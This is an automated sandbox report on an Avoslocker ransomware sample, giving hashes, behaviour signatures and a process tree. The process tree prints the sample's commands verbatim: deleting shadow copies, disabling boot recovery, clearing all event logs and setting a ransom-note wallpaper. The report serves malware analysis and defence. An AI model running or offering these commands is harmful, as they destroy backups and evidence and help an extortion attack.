Analysis

  • max time kernel
    117s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    24-07-2024 17:09

General

  • Target

    BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe

  • Size

    807KB

  • MD5

    19944159dfa94a1b75effd85e6b906dc

  • SHA1

    250acf87366f4c0cf91679a0e93dfc79954f0f10

  • SHA256

    bff12a83b1fc2e0ad0000ad9b68abc8eada559bb1094caaf5b9f52887df23705

  • SHA512

    c791840f59c2fc906c197c43e0e1717b9504cf46177a3688ecbd4937cdbf95349d68cc1e63649b85f02df4e6990c4df4756dd8267b062ea5271dd61fc3e508b0

  • SSDEEP

    12288:0Z4s3rg9u/2/oT+NXtHLlP/O+OeO+OeNhBBhhBBAtHg9rjI+LXJ0ivlzkHBDsYA7:u4s+oT+NXBLi0rjFXvyHBlbnCZa8

Malware Config

Signatures

  • Avoslocker Ransomware

    Avoslocker is a relatively new ransomware, that was observed in late June and early July, 2021.

  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Renames multiple (10395) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Drops desktop.ini file(s) 1 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 45 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
    "C:\Users\Admin\AppData\Local\Temp\BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe"
    1⤵
    • Drops desktop.ini file(s)
    • Enumerates connected drives
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3044
    • C:\Windows\system32\cmd.exe
      cmd /c wmic shadowcopy delete /nointeractive
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2660
      • C:\Windows\System32\Wbem\WMIC.exe
        wmic shadowcopy delete /nointeractive
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3728
    • C:\Windows\system32\cmd.exe
      cmd /c vssadmin.exe Delete Shadows /All /Quiet
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2764
      • C:\Windows\system32\vssadmin.exe
        vssadmin.exe Delete Shadows /All /Quiet
        3⤵
        • Interacts with shadow copies
        PID:1740
    • C:\Windows\system32\cmd.exe
      cmd /c bcdedit /set {default} recoveryenabled No
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2780
      • C:\Windows\system32\bcdedit.exe
        bcdedit /set {default} recoveryenabled No
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:3580
    • C:\Windows\system32\cmd.exe
      cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2784
      • C:\Windows\system32\bcdedit.exe
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:2208
    • C:\Windows\system32\cmd.exe
      cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2792
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3716
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$a = [System.IO.File]::ReadAllText(\"C:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3672
      • C:\Windows\system32\reg.exe
        "C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\27964099.png /f
        3⤵
        • Sets desktop wallpaper using registry
        PID:1708
      • C:\Windows\system32\rundll32.exe
        "C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False
        3⤵
          PID:2732
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3516

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

      Filesize

      7KB

      MD5

      36bf604ff389ef0b1f108e27177516d8

      SHA1

      90e35d515601bdad957119126f77a859c4174551

      SHA256

      19a32253c00bab4f625fb4117c8bdb9bbb69f17e35025d1440ef5ff49187aa38

      SHA512

      5f2f4ff2d596f41a453ee72383ce2df09363dc0f4e17b57e7df925460473f5e732b53cf840c4a81c4527a4f31a6fe2779c67a331b0229cfbe348712cc496c2d7

    • \Device\HarddiskVolume1\Boot\GET_YOUR_FILES_BACK.txt

      Filesize

      1011B

      MD5

      6d81ed40ba0a283e5483bfe6a448e9d7

      SHA1

      0c847a5f9df743b13e1aa11b4c24a4309e9a7119

      SHA256

      b4464f61655ca584170694bedd52c6cff2b74c18a761b33cfb1387f017d2d57d

      SHA512

      8956415f155f24852ac672aa06cc6a8819a2a0e44a9b940f8f3390c34ebb43ff10f4635722f104a5a9a94098d3f286362f507dc49d3f048e540f48c073eaf379

    • memory/3672-24537-0x000000001B5B0000-0x000000001B892000-memory.dmp

      Filesize

      2.9MB

    • memory/3672-24538-0x00000000023A0000-0x00000000023A8000-memory.dmp

      Filesize

      32KB

    • memory/3716-1236-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

      Filesize

      2.9MB

    • memory/3716-1422-0x0000000001EC0000-0x0000000001EC8000-memory.dmp

      Filesize

      32KB